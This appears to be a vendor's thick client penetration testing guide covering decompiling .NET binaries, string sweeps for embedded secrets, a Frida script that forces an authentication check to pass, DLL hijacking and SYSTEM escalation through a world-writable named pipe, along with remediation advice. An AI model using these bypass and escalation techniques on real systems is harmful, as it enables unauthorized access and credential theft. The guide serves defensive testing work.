
A thick client is the rare app where the attacker owns the runtime. The binary, its config, its session keys, and often a database connection string all sit on a machine the tester fully controls, which means every client-side check can be read, patched, or hooked at will. That single fact is why thick client penetration testing finds issues a web scanner never could, and why developers who treat the desktop as trusted ship credentials in plaintext for years.
This guide is built around what actually surfaces on engagements: decompiling a .NET assembly to read a connection string, hooking an auth routine with Frida when obfuscation blocks static analysis, and abusing a null-DACL named pipe for local privilege escalation. Each technique comes with the real tool output you would screenshot, the line that matters, and the config change that closes it.
Because the binary executes on a machine the attacker controls, anything it decides locally can be observed and overridden. A license check, a role gate, a "this user is an admin" boolean, a client-side input validator: all of it is advisory once you can attach a debugger or a hooking framework. The only durable boundary is the server, which is why three-tier designs that enforce authorization server-side hold up and two-tier designs that trust the client do not.
This reframes the whole engagement. You are not just looking for bugs, you are inventorying every decision the client makes that the server should be making instead. The same principle drives modern offensive work generally, including the continuous approach in our comparison of DAST, pentesting, and agentic pentesting. Three surfaces carry the findings:
The architecture decides where the money is. A two-tier (client-server) app opens a direct connection to the database, so the client must carry the connection string. Decompile it or dump it from memory and you get database credentials and can query the backend directly, bypassing every application-layer control. A three-tier app puts an app server in the middle, keeps the DB credentials server-side, and forces you to attack the API boundary, where broken object-level authorization and parameter tampering live, much like the issues you would hunt in API penetration testing.
Decompiling a managed binary is where two-tier clients fall over. dnSpy and ILSpy turn a .NET assembly back into readable C#, and the first thing worth grepping for is a connection string:
// dnSpy > right-click assembly > "Edit Class (C#)" / search for ConnectionString
// DataAccess.cs (decompiled from VendorApp.dll)
public sealed class Db {
private const string Conn =
"Server=sql01.corp.internal;Database=Billing;"
+ "User Id=svc_billing;Password=W1nter2023!;"; // <- hardcoded, plaintext
public SqlConnection Open() => new SqlConnection(Conn);
}That one constant is game over: you connect to sql01 with svc_billing from your own machine, outside the app entirely. The mistake teams make is assuming a compiled binary hides this. It does not. Decompilation recovers near-original source, and IL is trivial to read.
Start with a strings sweep before you decompile anything, because it is cheap and frequently decisive. Run Process Monitor to watch what the app reads and writes at launch and login, then pull printable strings from the binary and config to surface endpoints, passwords, and keys:
$ strings -n 8 VendorApp.exe | grep -iE "password|secret|api[_-]?key|server=|BEGIN .*KEY"
Server=sql01.corp.internal;User Id=svc_billing;Password=W1nter2023! <- connection string
X-Api-Key: 7c4a8d09ca3762af61e59520943dc26494f8941b <- backend API key
-----BEGIN RSA PRIVATE KEY----- <- embedded signing key
https://api.vendorapp.internal/v2/ <- internal endpointThe telltale lines are the connection string, the static API key, and the private key marker. What testers miss most is the secret that only looks encrypted: a "protected" value that is plain base64, or a DPAPI blob sealed with a static key you can unseal as the same user. Decode before you call it safe. Check %APPDATA%, %LOCALAPPDATA%, ProgramData, the HKCU and HKLM hives, and any embedded SQLite cache with cached tokens or PII. This is the desktop cousin of the storage work in our mobile app penetration testing checklist.
When the assembly is obfuscated, stop reading and start hooking. Frida attaches to the live process and lets you replace a function's return value, so you can force a client-side authentication or license check to pass without understanding a single line of the mangled source. The pattern: find the method (in dnSpy if readable, or by export name for native code), attach, and rewrite the return on the way out.
$ frida -p 8472 -l auth_bypass.js
// auth_bypass.js -- force CheckCredentials() to return true
Interceptor.attach(Module.getExportByName(null, 'CheckCredentials'), {
onLeave: function (retval) {
console.log('[*] CheckCredentials returned ' + retval); // [*] CheckCredentials returned 0x0
retval.replace(0x1); // <- now it returns true
console.log('[+] forced to ' + retval); // [+] forced to 0x1
}
});
// console shows 0x0 (deny) flipped to 0x1 (allow); the login dialog accepts any passwordThe output line that matters is the flip from 0x0 to 0x1: the app now treats authentication as successful regardless of the password. For HTTPS that ignores the system proxy, the same instrument-at-runtime mindset applies, hook the send/recv or TLS layer and read plaintext before it is wrapped, or redirect the backend hostname with a hosts entry and run an invisible Burp listener. This runtime-first approach is exactly what scales in the agentic model we cover in the agentic pentesting comparison.
Two local issues recur on nearly every Windows thick client, and scanners miss both. The first is DLL hijacking: if the app loads a DLL by name without a full path and installs into a writable directory, you plant a malicious DLL earlier in the search order and run code with the app's privileges. The second, more often overlooked, is a named pipe created with a null DACL, which lets any local user connect to a privileged service and send commands. Check the pipe's permissions with Sysinternals accesschk:
$ accesschk.exe -accepteulas \pipe\VendorAppSvc
\\.\Pipe\VendorAppSvc
RW Everyone <- any local user can read AND write
RW NT AUTHORITY\SYSTEM
The service running this pipe executes as SYSTEM; commands sent to it inherit that token.The damning line is RW Everyone on a pipe backed by a SYSTEM service: a standard user sends a crafted message and the service acts on it as SYSTEM. Confirm install-directory ACLs with icacls for the DLL angle, and look for an unquoted service path while you are there. On a recent assessment of a manufacturing ERP client, we found the update service exposed exactly this pipe, accepted an unauthenticated "run installer" command, and pointed it at our own binary, turning a standard domain user into SYSTEM on every workstation that had the client installed.
It contains reproducible findings tied to evidence and a concrete fix, not a tool dump. Each issue names the artifact (the decompiled method, the registry key, the pipe), the privilege or data it exposes, a CVSS rating, and the exact setting that closes it. The fixes are config-level and specific: move the connection string to the server and have the client call an API instead, replace home-grown obfuscation with phishing-resistant server-side authorization, set an explicit DACL on every named pipe, load DLLs by absolute path with SetDllDirectory hardening, and seal local secrets with DPAPI under a per-user entropy value rather than a static key.
Map findings to references so clients can prioritize: CWE-312 for cleartext storage, CWE-427 for DLL hijacking, CWE-798 for hardcoded credentials, and OWASP ASVS V2/V6 for authentication and storage controls. For organizations that want this validated continuously instead of once a year, fold it into the broader program described in our look at automated versus manual penetration testing.